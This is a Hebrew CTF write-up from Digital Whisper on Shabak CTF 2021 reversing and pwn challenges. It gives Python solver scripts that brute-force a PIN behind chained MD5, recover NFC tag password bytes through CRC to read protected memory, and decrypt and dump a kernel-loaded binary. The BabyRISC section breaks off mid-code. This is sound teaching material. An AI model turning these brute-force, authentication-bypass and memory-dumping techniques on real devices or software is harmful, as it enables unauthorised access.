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 2021השב"כ  PWN-ו REפתרון אתגרי 

 דן אלעזרי מאת

 

 הקדמה

הכיל אתגרים במגוון קטגוריות  CTF-ה הגיוס השנתי של השב"כ. CTF עלה לאוויר 1.1.110.01-ב

(,Pwn Reversing, Web, AI, Signal Processing, Data Scienceובזמן ה ,)-CTF  הצלחתי לפתור את כל

ל מנת להוכיח שניתן להכניס לאתר ע דגלב. פתרון כל אתגר מזכה Web-ו Pwn, Reversing-אתגרי ה

 .שהאתגר נפתר בהצלחה

 )מקורות ובורות(.  and SinksSources במהלך פתרון האתגרים, אני אוהב להשתמש בקונספט בשם

 (,Sourcesהעקרון של קונספט זה, הוא להבין איפה הקלט שלנו ומה אנו יכולים לעשות באמצעותו )

 (.Sinksבנוסף לחיפוש של מה התכנית עצמה מסוגלת לעשות, ואיך היא עשויה לעזור לנו להגיע למטרה )

העקרון  )משטח תקיפה(. Attack Surface קונספט נוסף שאני מוצא את עצמי משתמש בו כל הזמן נקרא

של קונספט זה, הוא להבין היכן התכנית מממשת פונקציונליות גדולה או מסובכת )במקרה זה נגיד 

הגיון בכך הוא שמשטח התקיפה רחב(, ולהתמקד בחלקים האלו בתכנית על מנת למצוא בהם חולשות. ה

 שסביר יותר שמתכנת ישגה במימוש פונקציונליות גדולה או מסובכת, מאשר בפונקציונליות פשוטה.

 אלה, מאפשר להתמקד בחלקים הרלוונטים של האתגר ולפתור את האתגר מהר יותר. בקונספטיםשימוש 

באמצעות הפתרונות שלי לאתגרי  Web-עידו פרנקנטל לאתגרי ה במאמר זה אשלים את הפתרונות של

, אשתדל להעביר את צורת החשיבה שהייתה לי והמתודולוגיה שעבדתי לפיה בזמן Pwn-וה Reversing-ה

 פתרון האתגרים.

 את הקבצים של האתגרים. כאןעבור אלו המעוניינים לנסות לפתור את האתגרים בעצמם, יש 

 

 

 

https://youtu.be/ZaOtY4i5w_U
https://en.wikipedia.org/wiki/Attack_surface
https://www.digitalwhisper.co.il/files/Zines/0x7E/DW126-2-ShabakCTF_2021-Web.pdf
https://archive.org/details/shabak-challenge-2021
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Reversing 

 ForceCoin שם:

 150 ניקוד:

 

 :פתרון

 באתגר זה אנו מקבלים שלושה קבצים:

 ForceCoin.exe 

 db.txt.enc 

 ForceCoinTransactionSigner.dll.enc 

באמצעות חישוב אנטרופיה  ונראה שהם ג'יבריש לחלוטין. Hex Editor-ב enc-נתבונן על קבצי ה

מכיוון שהאנטרופיה  -והתבוננות על התפלגות הבתים בקבצים האלה, נסיק שהם מוצפנים או מקומפרסים 

ונראה את החלון הבא, שמבקש מפתח  ForceCoinננסה להריץ את  גבוהה וההתפלגות נראית אחידה.

 ספרות: 4בעל 

 

exe.ForceCoin נכתב ב-NET. לכן נשתמש בכלי ,IlSpy שמסוגל לעשות דיקומפילציה לקבצים כאלו, על ,

 .מנת לנסות לפרוש אותו ולהבין מה המפתח הנדרש

https://github.com/icsharpcode/ILSpy
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 להלן הקוד:

private string DoMD5(string input) 

{ 

 return 

BitConverter.ToString(MD5.Create().ComputeHash(Encoding.ASCII.GetBytes(input))).

Replace("-", ""); 

} 

 

private static RijndaelManaged GetCryptoAlgorithm() 

{ 

    return new RijndaelManaged 

    { 

        Padding = PaddingMode.None, 

        Mode = CipherMode.CBC, 

        KeySize = 128, 

        BlockSize = 128 

    }; 

} 

 

public static byte[] StringToByteArray(string hex) 

{ 

    return (from x in Enumerable.Range(0, hex.Length) 

        where x % 2 == 0 

        select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray(); 

} 

 

public void DecryptFile(byte[] k, string input, string output) 

{ 

    byte[] array = File.ReadAllBytes(input); 

    _ = string.Empty; 

    using MemoryStream memoryStream = new MemoryStream(); 

    using (CryptoStream cryptoStream = new CryptoStream( 

           memoryStream, GetCryptoAlgorithm().CreateDecryptor(k, k), 

           CryptoStreamMode.Write) 

    ) 

    { 

        cryptoStream.Write(array, 0, array.Length); 

    } 

    File.WriteAllBytes(output, memoryStream.ToArray()); 

} 

 

private void buttonCheckPin_Click(object sender, EventArgs e) 

{ 

    string text = richTextBoxPinCode.Text; 

    if (text.Length != 4) 

    { 

        richTextBoxPinCode.Text = ""; 

        return; 

    } 

    try 

    { 

        string text2 = text; 

        string text3 = text; 

        for (int i = 0; i < 10; i++) 

        { 

            text2 = DoMD5(text2); 

            text3 = DoMD5(text3); 

        } 

        for (int j = 0; j < 10; j++) 

        { 

            text2 = DoMD5(text2); 

        } 

        if ("2D3114BCC2E5C58BBAC77F04237723D9" == text2) 

        { 

            byte[] k = StringToByteArray(text3); 
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            DecryptFile(k, "ForceCoinTransactionSigner.dll.enc",  

                           "ForceCoinTransactionSigner.dll"); 

            DecryptFile(k, "db.txt.enc", "db.txt"); 

            AppForm appForm = new AppForm(); 

            Hide(); 

            appForm.ShowDialog(); 

            Close(); 

        } 

    } 

    catch (Exception) 

    { 

    } 

    richTextBoxPinCode.Text = ""; 

} 

 

פעמים, משווה את  .MD5 0מקבל את המפתח, מחשב עליו  ForceCoin-ממעבר על הקוד, נראה ש

, ואם הם אכן שווים, הוא מפענח את הקבצים 0D3114BCC2E5C58BBAC77F04237723D9-התוצאה ל

 פעמים. .1שחושב על המפתח  MD5המוצפנים באמצעות 

 פייתון משלנו כדי לנסות את כל האופציות האפשריות עבור המפתח:נכתוב קוד 

from itertools import product 

import hashlib 

import string 

 

TARGET = "2D3114BCC2E5C58BBAC77F04237723D9" 

 

def calc(pin): 

    for _ in range(20): 

        pin = hashlib.md5(pin).hexdigest().upper() 

    return pin 

 

with open("ForceCoinTransactionSigner.dll.enc", 'rb') as f: 

    enc_data = f.read(16) 

 

for pin in product(string.digits, repeat=4): 

    pin = ''.join(pin) 

    if calc(pin) == TARGET: 

        print pin 

        break 

 
  .. כלום.נריץ, ו

ולהשוות את הערכים  IlSpyבאמצעות  ForceCoinיכול להיות שטעינו בחישוב. אם ננסה לדבג את 

עוד אופציה היא שהתיעוד מטעה, והמפתח  שמתקבלים שם מול הסקריפט שלנו, נראה שהם אותו הדבר.

 .. .מכיל יותר מספרות בלבד

 קיבלנו את המפתח! ...נחכה, , נריץstring.lettersנוסיף גם 

5cRt 
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 נכניס את המפתח לתוכנה, היא תפענח את הקבצים שהיו מוצפנים, ותחשוף לנו ממשק חדש:

 

 :db.txtבנוסף, עכשיו נוכל לראות מה מכיל הקובץ 

4 

0 

3 

4 

Bob -> Alice [ 

f623e75af30e62bbd73d6df5b50bb7b5, 0567953871b1bf589b797d9b178d5a94, 

4eef13c0cb7c79813c798278770edc18, b8aa853d4a02f1024e92ec3626deb27f, 

00e04f724e7a688bba85591f41cabc66, d29ff39e8237020708859fd83de7358b, 

3e2396c3ffc5ceaf2cce64d121cd46cc, e93c0298d07705f4ea95116361fba84d, 

5dd1e136eed6c8d7b3c05aedf806827e, 0c18777da528d26b0ba37d240f5bd850, 

9401c1b5e67a9a0165473e929451b146, 4c305f18aa3ae7d854dab77edc862be2, 

5d4cd43fef5d09c9a897a2d197c0e430, 4d8561461499e594d7bc0f6f3239cc98, 

7ed760dcf05e798ddf2aea47518c8c26, 835f17ba47e4f10ec822331db625a441, 

8e6e0d7f59dcbad7032301475d2c3cb5, 259d482498d9f2dae6d96dc3b343a908, 

e4aa532750a50837317716711b2dabdc, f07799cfe461de05a6327c5195f33a1d, 

9b3d21619f85c27c7cb154ed6de16de2, e3e58f791778f6f20d745c5e6f0ae62f, 

7ebb03bd0b04cc46dcdc8c4f48207dab, 92cc27585fefc1c21342415bb6b6bc5f, 

6bacb7e544d2545fef9462c340ca4dd2, eaffb62f530c3266d1106d880ad620ee, 

9d8859729b3cbd5e8b69a9942693c659, 24d27068f5de2bbad9b5acf38c97be2b, 

347c3c0d886a55671c5a826fbfacb1a0, 85ffb85440a4ce7880a278ef0393b449, 

228f416e2b0618bc895df5aa15b056a6, ad692bc711e46264c4b7da4956fa5ce3, 

01489e6fc5c3489df27077365c807beb, 8b29bb17d2c92b480bc1bc2ea611037a, 

1d39e3b97181079f5c2d37de0fd21d50] 

Alice -> Bob [ 

8d9c307cb7f3c4a32822a51922d1ceaa, bafd7322c6e97d25b6299b5d6fe8920b, 

b7e7f2b46723f5b08d763041108f8fed, e6662662a3f90aa497566c9b4a32f2f7] 

Alice -> Bob [ 

5dbc98dcc983a70728bd082d1a47546e, e2e0ab9c9510bf61fd17296bae8d3d24, 

2341fcf59582cb2b44168f1b477bc850, 2d80c7c603f99c429891d40e30bf391d, 

140208bb60fc3f70eabd068701030425] 

Bob -> Alice [ 

f186217753c37b9b9f958d906208506e, 8021f7e4b05dada0ad3d47567e52249e, 

d4f59cb9d92b06b80311ccf98a6c36e9, 20809e9ce9cfa9bcec5c7c157596be8e, 

b11794fedf37354635f9dcdfdd1ea986, 4bbbcb9c0429b23818385e2aaa78eba3, 

91f43049eb069a16c64e8cb7b97d5350] 

... 
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 …Hashנראה שהוא מכיל הודעות כלשהן, אבל ההודעות הן לא טקסטואליות, אלא נראות כמו 

מחיפוש של  ים הראשונים בגוגל כדי לראות מה נוכל למצוא עליו.Hash-את אחד הנחפש 

f623e75af30e62bbd73d6df5b50bb7b5 נראה שזה באמת ,Hash MD5 " על הטקסטD." נקח את ה-

Hash  ,985797651.הבא ברשימהb1bf589b797d9b178d5a94" והוא הגיע מהטקסט ,Do."  נסיק

 תו על ההודעה האמיתית.-שמחושב תו Hashשההודעות שראינו הן בעצם 

 נוכל לפענח את ההודעות באמצעות סקריפט קצר )לאחר מחיקת שורות מיותרות מהקובץ(:

import hashlib 

import string 

import re 

 

def get_next_char(curr, target): 

    for c in range(0, 256): 

        c = chr(c) 

        guess = curr + c 

        if hashlib.md5(guess).hexdigest() == target: 

            return c 

 

    return "*" 

 

def main(): 

    with open("db.txt", 'r') as f: 

        enc_msgs = [re.findall(r"(\w+)", x.rstrip()) for x in  

                    f.readlines()] 

 

    for enc_msg in enc_msgs: 

        dec_msg = "" 

        for msghash in enc_msg: 

            dec_msg += get_next_char(dec_msg, msghash) 

        print dec_msg 

 

main() 

 

 ולאחר מכן נקבל:
Do you have another message for me? 

Nope 

Sorry 

Oh Well************************ 

Yes 

What is it? 

A Secret 

Message? 

Yes 

flag{L3m0n-SqueeZy} 

Good Luck! 

Hi 

Hello 

Message? 

Talk To Alice 

 

 אם כן, קיבלנו את הדגל:

flag{L3m0n-SqueeZy}  
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 NFC שם:

 200 ניקוד:

 

 :פתרון

 .flag-, ממנו נרצה לקרוא זיכרון על מנת להשיג את הNFCמתיאור האתגר, עומד לפנינו שרת המדמה תג 

 בנוסף, אנו מקבלים מפרט המתאר כיצד לבצע תקשורת מול התג, והודעה חלקית שנשלחה אליו.

 מקריאת המפרט, אנו מגלים כמה דברים:

  התג הוא מסוגNTAG213 זה המפרט שלוו: 

 

  לא כל הפקודות שלNTAG213 ממומשות בשרת: 

 

 השרת יכול להחזיר תשובה נוספת: 

 

https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf
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  התווספה פקודה חדשה בשםGET_CFGשניתן להשתמש בה ללא אותנטיקציה ,: 

 

 מידע על ה-CRC המשומש בתקשורת עם התג: 

 

הדבר  .CRC-, ז"א יתכן שנצטרך להפוך את סדר הבתים בLittle Endian-צריך להיות ב CRC-נשים לב שה

 הנכון. CRC-כך נדע שבחרנו את ה -הראשון שנרצה לעשות הוא להצליח לקבל מידע תקין מהשרת 

 עוזרת לנו במקרה הזה, מכיוון שהיא אינה דורשת אותנטיקציה. GET_CFGהפקודה 

 המתאים. CRC-שיכולה לחשב את ה crccheck", נמצא חבילה בשם python CRCAמגיגול מהיר של "
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 :על מנת לתקשר עם השרת בקלות pwntoolsבנוסף, נשתמש בספריה 

from pwn import * 

from crccheck.crc import CrcA 

 

def calc_crc(msg): 

    crc = CrcA() 

    crc.process(bytearray(msg)) 

    return str(crc.finalbytes()) 

 

def send_msg(msg): 

    global p 

 

    msg = str(msg) + calc_crc(msg) 

    p.send(msg) 

 

    return p.recv() 

 

def main(): 

    global p 

 

    p = remote("nfc.shieldchallenges.com", 80) 

    send_msg('\x66') 

 

if __name__ == "__main__": 

    main() 

 

 :נריץ

 python solve.py DEBUG  

 ונקבל את התשובה הבאה מהשרת:

 

על מנת להבין את התשובה, ונמצא אותה  NTAG213נקרא את המפרט של  זו לא התשובה שציפינו לה!

 :07בטבלה 

 

https://github.com/Gallopsled/pwntools
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 נבצע תיקון מהיר: ?Big Endian-. אולי הספרייה מחזירה אותו בCRC-נראה שטעינו ב

return str(crc.finalbytes()) -> return str(crc.finalbytes()[::-1]) 
 

 נריץ שוב, ונקבל את התשובה הבאה מהשרת:

 

 נראה שהצלחנו לתקשר עם התג 

 00ממעבר על טבלה  .flag-הדבר הבא שנרצה לעשות הוא לקרוא את הזיכרון של התג כדי לקבל את ה

 הצ'יפ:, נמצא את הפקודות הנתמכות על ידי NTAG213במפרט של 
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 (. נמצא את הפורמט שלה באותו המסמך:READשל הזיכרון ) קריאההפקודה שאנחנו צריכים היא 

 

 :0x2Cהכי גבוה שניתן לבקש הוא  page-בנוסף, נראה שה

 

 ושניתן להגדיר כתובות מהן אפשר לקרוא רק לאחר אותנטיקציה:
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, כי השרת מחזיר 4)בקפיצות של  0x2Cד ע .-ים מpage-נתאים את הסקריפט שלנו כך שיקרא את כל ה

 ים כל פעם(:page 4-מידע מ

def main(): 

    global p 

 

    p = remote("nfc.shieldchallenges.com", 80) 

    for i in range(0, 0x2C + 1, 4): 

        send_msg('\x30' + chr(i)) # Read (0x30) page i 

 

 ונכשלת אחריו: 0x20מספר  pageנראה שהקריאה מצליחה עד 

 

 :נשים לב שלפני הכשלון, קיבלנו את ההודעה

The secret is: 

 .0x04ואחריו, קיבלנו 

, ז"א "NAK for invalid authentication"ונראה שהתגובה שקיבלנו מסמלת  07נבדוק שוב בטבלה 

  שהקריאה נכשלה מכיוון שלא ביצענו אותנטיקציה.

  .00, ונחזור לטבלה 1BXXXXBEAF4930נסתכל שוב על ההודעה החלקית שקיבלנו בתחילת האתגר, 

 , אך חסרים לנו שני בתים שלה!PWD_AUTHבטבלה נראה שההודעה שקיבלנו היא פקודת האותנטיקציה 
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 זאת הפקודה:

 

למזלנו, שני הבתים  מהתבוננות על מבנה הפקודה, חסרים לנו שני הבתים הראשונים של הסיסמה.

ננסה את כל  של הפקודה, מה שמאפשר לנו למצוא את הבתים החסרים. CRC-האחרונים מכילים את ה

 הנתון. CRC-של ההודעה המלאה ונשווה ל CRC-האפשרויות של הבתים החסרים, נחשב את ה
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מספר  page-ללבסוף, נשלח את בקשת הקריאה  ים תואמים, מצאנו את הבתים החסרים!-CRC-אם שני ה

0x24 שמכיל את ה-flag: 

from pwn import * 

from crccheck.crc import CrcA 

 

def calc_crc(msg): 

    crc = CrcA() 

    crc.process(bytearray(msg)) 

    return str(crc.finalbytes()[::-1]) 

 

def send_msg(msg): 

    global p 

 

    msg = str(msg) + calc_crc(msg) 

    p.send(msg) 

 

    return p.recv() 

 

# Leaked message is 1B XXXXBEAF 4930 

def find_pwd(): 

    msg = '\x1B' 

    for i in range(2**16): 

        if calc_crc(msg + p16(i) + '\xBE\xAF') == '\x49\x30': 

            return msg + p16(i) + '\xBE\xAF' 

 

def main(): 

    global p 

 

    p = remote("nfc.shieldchallenges.com", 80) 

    auth_msg = find_pwd() 

    send_msg(auth_msg) 

    send_msg('\x30\x24') # Read (0x30) page 0x24 

 

if __name__ == "__main__": 

    main() 

 התוצאה:

 

 והדגל:

flag{G0_M1n1on$} 
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 ShabaKernelשם: 

 350ניקוד: 

 

 :פתרון

 שלא נראה כמו אף פורמט מוכר: app.magen, שהוא דרייבר לינוקסי, וקובץ loader.koאנו מקבלים קובץ 

 

בתים  4, אחריהם יש MAGENבתים הראשונים מכילים את המחרוזת  9-ממבט בלבד, נוכל לראות שה

בתים(, אחריהם רשימת נתיבים לקבצי הרצה  0x0619) app.magenשמתאימים לגודל של הקובץ 

 , ואחר כך מידע שנראה מוצפן.Rמופרדים באמצעות האות  linux-סטנדרטיים ב

, שזה הגיוני, כי דרייברים בלינוקס Ubuntuספציפי של  image-האתגר גם אומר לנו להשתמש ב

 5.4ינוקס בגרסה שאנו מקבלים מריץ ל image-מתקמפלים ורצים רק על גרסת קרנל ספציפית. ה

בזמן  .magenעבור קבצי הרצה מסוג  loaderמממש  loader.ko-בגלל השם והתיאור של האתגר, סביר ש

 , וננסה להבין איך הוא עובד.IDA-ב loader.koהמתאים, נפתח את  Image-שאנו מורידים את ה

 ים של הגרסה המתאימה של הקרנל:Source-כדי לעזור לנו בפרישה, נשתמש ב

https://elixir.bootlin.com/linux/v5.4.54/source 

  

https://elixir.bootlin.com/linux/v5.4.54/source
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 ים מעניינים:-Exportבתור התחלה, נראה שיש לדרייבר כמה 

 

, המגדיר init.text.נקרא בטעינת הדרייבר )הנחה סבירה כי הוא נמצא בסגמנט  loader_init-נניח ש

 נקרא בשחרור הדרייבר. loader_clean-(, וinit-פונקציות שניתן לשחרר את הזיכרון שלהם לאחר ה

 :loader_initהלוגיקה של 

 

לפורמט הרצה חדש.  handlerזו פונקציה שמאפשרת לרשום  - register_binfmt_-קיימת קריאה ל

 .app.magenבמקרה שלנו, זה כנראה הפורמט של 

, וכרגע הוא לא מעניין 1או  .ומספר שיכול להיות  struct linux_binfmtנה מטיפוס הפונקציה מקבלת משת

ים -structשיכיל את כל ההגדרות  h.הזה, אז נגדיר קובץ  Struct-אותנו. נרצה לדעת מה בדיוק מוגדר ב

 :Ctrl-F9באמצעות  IDA-שניתקל בהן, ונטען אותו ל

struct linux_binfmt { 

    struct list_head lh; 

    struct module *module; 

    int (*load_binary)(struct linux_binprm *); 

    int (*load_shlib)(struct file *); 

    int (*core_dump)(struct coredump_params *cprm); 

    unsigned long min_coredump; /* minimal dump size */ 

}; 

לא מכירה את כל הטיפוסים  IDAבדיוק כמו שהוא מוגדר ניתקל בשגיאה, כי  struct-האם ננסה לטעון את 

 (.struct list_headמשתמש בהם )לדוגמא,  struct-שה

עבור  *voidכרגע נסתפק בלהחליף את הטיפוסים הלא מוכרים בטיפוס מוכר אחר בגודל מתאים )לדוגמא, 

 כן struct list_headספציפית את  אם נראה צורך בכך.מצביעים(, ונגדיר את הטיפוס האמיתי של האיבר 

עצמו הוא מה שנכנס לתוך  struct-אז הגודל של ה -נגדיר, כי זה טיפוס פשוט יחסית והוא לא מצביע 

linux_binfmt.ובלי ההגדרה האמיתית לא נוכל לדעת את הגודל הנכון , 
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 לאחר שינוי הטיפוסים:

struct list_head { 

    struct list_head *next, *prev; 

}; 

struct linux_binfmt { 

    struct list_head lh; 

    void* module; 

    int (*load_binary)(void* linux_binprm); 

    int (*load_shlib)(void* file); 

    int (*core_dump)(void* cprm); 

    unsigned long min_coredump; /* minimal dump size */ 

} 

 (, וכעת נוכל לראות אילו פונקציות מוגדרות:linux_binfmtבטיפוס המתאים ) magen_fmtנגדיר גם את 

 

 .*struct linux_binprm, והיא מקבלת משתנה מטיפוס load_magen_binaryאז הפונקציה המעניינת היא 

שלנו, שוב, לאחר החלפת טיפוסים מסובכים לטיפוסים  h-נוסיף גם את ההגדרה של הטיפוס הזה לקובץ ה

על  ifdef#הזה קיים  struct-בנוסף, בהגדרה של ה פשוטים על מנת שנוכל לטעון את ההגדרה.

CONFIG_MMU( נצטרך להבין האם בארכיטקטורה שלנו .x86ה )-ifdef  מוגדר, כדי לדעת אילו שדות

 .arch/x86/Kconfigבקובץ  TRUE-כן מוגדר כ CONFIG_MMU-. נוכל לראות שstruct-להכניס ל

 .load_magen_binaryנוכל להמשיך לפרוש את  -כעת כשיש לנו את הטיפוס של הפרמטר לפונקציה 

 :linux_binprmהבדיקה הראשונה בפונקציה, מחזקת את הטענה שצדקנו בהגדרה של 

 

בתים )שראינו שמייצגים את  4בתחילת הקובץ, קוראת  MAGENנראה שהבדיקה מדלגת על המחרוזת 

שאר הקוד  , הפונקציה חוזרת עם סטאטוס כשלון.6-גודל הקובץ(, ואם הגודל שהיא קראה גדול או שווה ל

 קוד(:-נראה כך )בפסודו בפונקציה

1. params->p = vm_mmap(0x2000); 

2. kmem = kmalloc(file_size); 

3. build_key(&params->buf*9+, …); 

4. code_size = file_size - 9 - uninitialized_var; 

5. kernel_read(params->file, kmem, code_size, uninitialized_var + 9); 

6. stateless_rc4(…); 

7. code_addr = vm_mmap(code_size); 

8. copy_to_user(code_addr, kmem, code_size); 

9. start_thread(…, code_addr, params->p); 

https://elixir.bootlin.com/linux/v5.4.54/source/arch/x86/Kconfig#L250


 
 

 0.01השב"כ  PWN-ו RE פתרון אתגרי
www.DigitalWhisper.co.il 

 08  2021 מרץ ,127גליון 
 

הן קריאות חיצוניות לפונקציות  הירוקותהן פונקציות של הדרייבר, והפונקציות  הכחולותכאשר הפונקציות 

משמע, אנחנו יכולים לחפש את החתימה שלהן ולהבין את המשמעות של כל פרמטר )לדוגמא,  -קרנליות 

 (.start_thread-ו copy_to_user-נובעת מהקריאות ל code_addr, code_sizeהמשמעות של הפרמטרים 

הדרייבר מאלקץ זיכרון עבור הקוד, יוצר מפתח לפענוח  -אוקיי, אז עד עכשיו הקוד נראה די ברור 

(build_key( מפענח את הקוד ,)stateless_rc4 ולבסוף יוצר )Thread .אך עדיין נשארו שאלות כמו  עבורו- 

 ?מה משמעות החיים ?uninitialized_varמה זה  ?איך המפתח מחושב

טוענת שיש משתנים  IDA(, נשים לב שגם בהן stateless_rc4או  build_keyאם ניכנס לאחת הפונקציות )

 לים )המשתנים האדומים(:שאינם מאותח

 

( נראה שהם נמצאים ברגיסטרים ?רגיסטר ?לאחר בדיקה של היכן המשתנים האלה נמצאים )מחסנית

RCX ו-RDX -  בקונבנציית  4ופרמטר  7פרמטרfastcallכנראה ש .-IDA  לא ניתח נכון את החתימה של

 הפונקציה, והיא בעצם מקבלת עוד שני פרמטרים! נוסיף אותם בחתימה של הפונקציות.

נתחיל מלהבין את משמעות הפרמטרים. אפשר  עובדים. stateless_rc4-ו build_keyנותר רק להבין איך 

ה והשימוש של הפרמטרים , ההגדרstateless_rc4-ו build_key-לעשות זאת מהתבוננות על הקריאה ל

 שלהם:

 

  



 
 

 0.01השב"כ  PWN-ו RE פתרון אתגרי
www.DigitalWhisper.co.il 

 09  2021 מרץ ,127גליון 
 

 מקבל: build_key-נראה ש

 והגודל( MAGEN -בתים  7) Headers-מצביע לבאפר שמכיל את הקובץ, אחרי דילוג על ה .1

 .Rים שמופרדים עם האות -linux-המצביע מצביע לתחילת מחרוזות הבינארים ה

 rc4, ומפרישה של rc4בתים, שיכיל את המפתח )עובר כפרמטר לפונקציית  16מצביע לזיכרון בגודל  .2

 והשוואה לאלגוריתם שמתואר בויקיפדיה, נראה שמשתמשים בו כמפתח(

 Headers-הגודל שנשאר בבאפר שמכיל את הקובץ לאחר דילוג על ה .3

 (kernel_read-ל offset-קרא ועליו יש לדלג )עובר כ build_key-פרמטר פלט שיכיל את הגודל ש .4

 בויקיפדיה, ונבין שהם אכן שקולים. rc4לאלגוריתם של הצפנת  stateless_rc4נוכל גם להשוות את 

 הם: stateless_rc4הפרמטרים של 

 (build_keyמצביע למפתח )מאותחל על ידי  .1

 בתים( 16גודל המפתח ) .2

 הזיכרון שיש לפענח .3

 גודל הזיכרון שיש לפענח .4

 יש קריאה לעוד פונקציה build_keyבתוך  מחשב את המפתח. build_keyנותר רק להבין איך בדיוק 

מצביע לבאפר  היא מקבלת כפרמטרים: , שהיא יחסית פשוטה להבנה.update_pathפנימית בשם 

בתים באופסט שניתן  16פותחת את הקובץ, קוראת ממנו , היא בקובץ והיסט שם קובץ, )כנראה המפתח(

 .ם של הפרמטר הראשון )לכן, כנראה שהפרמטר הראשון הוא המפתח(הבתי 16לה, ומקסרת אותם עם 
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 עובדת. בפסודו קוד: build_keyעושה, קל להבין איך  update_pathכעת כשאנו יודעים מה 

1. key = ‘\x00’ * 18; 

2. offset = 0x5117 

3. for filename in filenames separated by R, until the letter Z: 

a. update_path(key, filename, offset) 

b. offset += 0x11 

 :app.magen-ז"א עבור הרשימה שקיימת ב

R/bin/bashR/bin/pingR/bin/grepR/usr/bin/telnetR/sbin/initR/sbin/insmodRZ 

build_key  0בתים באופסט  16תקראx5117  מהקובץ/bin/bash .לאחר מכן, תקרא  ותקסר עם המפתח

 .sbin/insmod/וכן הלאה, עד הקובץ  ותקסר עם המפתח. bin/ping/מהקובץ  0x5128בתים באופסט  16

-שהורדנו, ולכתוב סקריפט שעושה את הלוגיקה שה Image-נוכל לחלץ את הבינארים הרלוונטיים מה

loader  עושה על מנת לפענח אתapp.magen. נוכל לרמות! )אגב, יכולנו לרמות מההתחלה, אבל ... או ש

 .app.magenהדבר הראשון שננסה הוא פשוט לדבג את הריצה של . (יף מדי היה כ loaderלפרוש את 

אפשר  נראה שהתכנית ישר מסיימת את הריצה )לעומת ריצה תקינה שממתינה לקלט(. -זה לא יעבוד 

)אחרי הפענוח גם נגלה שזה  ptrace(PTRACE_TRACEME, …)להניח שהיא בודקת אם מדבגים אותה עם 

 בדיוק מה שהיא עושה(.

כי למה שלא  -לזיכרון של התהליך  dumpהדבר השני שאפשר לנסות, וזאת רמאות אמיתית, הוא לעשות 

 ncלכונן ממכונה אחרת, או באמצעות mountאת הקבצים למכונה באמצעות  נתחיל מלהעביר ?נוכל בעצם

/ curl ו-python SimpleHttpServer1 לאחר מכן, נתקין את ה-module  שקיבלנו, נריץ אתapp.magen 

(, ונחלץ אותו לקובץ rwxברקע, נבדוק מה הכתובת אליו הקוד נטען )אזור הזיכרון היחיד בהרשאות 

 :ddבאמצעות 
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 :mainולראות את הקוד המפוענח, שמתחיל בקפיצה לפונקציה שנקרא לה   IDA-כעת, נוכל לפתוח אותו ב

 

, נראה שיש הרבה פונקציות שכל מה שהן עושות הוא לקבל פרמטרים בקונבנציית IDAיתוח של אחרי נ

 ספציפי. דוגמא לפונקציה כזאת: syscall, וביצוע syscall, המרה לקונבנציה של fastcallהקריאה 

 

 המתאים: syscall-נוכל להיעזר באתר הבא כדי להתאים כל פונקציה כזו לשם של ה

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64

-64_bit 

לאחר  .0x65שהיא מבצעת הוא  syscall-ן שה, מכיווptraceבדוגמא ממקודם, קראנו לפונקציה הזו 

 שנתאים את השם והפרמטרים לכל אחת מפונקציות אלה, נישאר עם עוד שתי פונקציות שאין להן שם.

 :memcmpהראשונה, פשוט מבצעת 

 

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit
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אופסטים שונים )לפי מערך אופסטים גלובלי(  04-, ואז קוראת ממנו בתים בlibc.so.6והשנייה, פותחת את 

 פר חיצוני:לתוך בא

 

 שלנו, ונבין שהלוגיקה מאוד פשוטה: main-כעת, נחזור ל

 

אחר כך, הוא  על עצמו, כפי ששיערנו קודם לכן. ptraceתחילה הוא מונע דיבוג של הבינארי באמצעות 

בתים  04אחר אתחול הדגל באמצעות קריאת  אחד לדגל ואחד לקלט מהמשתמש. -מאלקץ שני באפרים 

, הוא מקבל קלט מהמשתמש, משווה אותו לדגל, ומדפיס הודעה libc.so.6באופסטים שונים מהקובץ 

 בהתאם.
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לזיכרון של התהליך, ולמצוא את הדגל, או לכתוב סקריפט  dumpנוכל "לרמות", לעשות  -גם עכשיו 

 האופציה השנייה: , אז נלך עלapp.magenמשלנו. את האופציה הראשונה כבר עשינו בשביל לפענח את 

from pwn import * 

 

def get_offsets(): 

    offsets = [] 

    with open('app.magen.dec', 'rb') as f: 

        f.seek(0x1a0) # the offsets array 

        for _ in range(24): 

            offsets.append(u32(f.read(4))) 

 

    return offsets 

 

def main(): 

    offsets = get_offsets() 

 

    l = [] 

    with open('libc.so.6', 'rb') as f: 

        for offset in offsets: 

            f.seek(offset) 

            l.append(f.read(1)) 

 

    return ''.join(l) 

 

if __name__ == "__main__": 

    print main() 

 

 והתוצאה:

FLAG{magen_velo_yeraELF} 
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PWN 

 BabyRISC שם:

 150ניקוד: 

 

 :פתרון

בנוסף, אנו מקבלים את  .RISCמתיאור האתגר, עומד לפנינו שרת המכיל אמולטור בסיסי לארכיטקטורת 

 .flag-הקוד של האמולטור על מנת שנוכל לחפש בו חולשות שיעזרו לנו לקרוא את ה

 

. הקוד שמצורף main.cנעבור על  ?לנו עם התוכנית ומה המטרה שלנומה הממשק שיש  -נתחיל מלהבין 

 :כאן הוא לא הקוד המקורי, אלא מכיל רק את החלקים החשובים

int generate_admin_code(uint8_t* payload, size_t max_size, size_t* 

payload_size_out) 

{ 

    char flag_string[MAX_FLAG_SIZE] = { 0 }; 

 

    read_flag(flag_string, sizeof(flag_string)); 

    payload_fp = fmemopen(payload, max_size, "w"); 

 

    // If the user sets R0 so (R0 * 42) == 1 (impossible!), she deserves to read 

the flag 

    file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R1,  

                            ASM_REGISTER_ZERO, 42); 

    file_write_opcode3(payload_fp, MUL, ASM_REGISTER_R2, ASM_REGISTER_R0,  

                       ASM_REGISTER_R1); 

    file_write_opcode_imm32(payload_fp, SUBI, ASM_REGISTER_R2, ASM_REGISTER_R2, 

1); 

    file_write_opcode1(payload_fp, RETNZ, ASM_REGISTER_R2); 

 

    // Print each 4-bytes of the flag as 4-characters 

    // (We might print some trailing null-characters if the flag length is not 

divisible by 4) 

    for (int32_t * p = flag_start; p <= flag_end; ++p) 

    { 

        int32_t dword = *p; 

 

        file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R1,  

                                ASM_REGISTER_ZERO, dword); 

        for (size_t j = 0; j < 4; j++) 
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        { 

            file_write_opcode1(payload_fp, PRINTC, ASM_REGISTER_R1); 

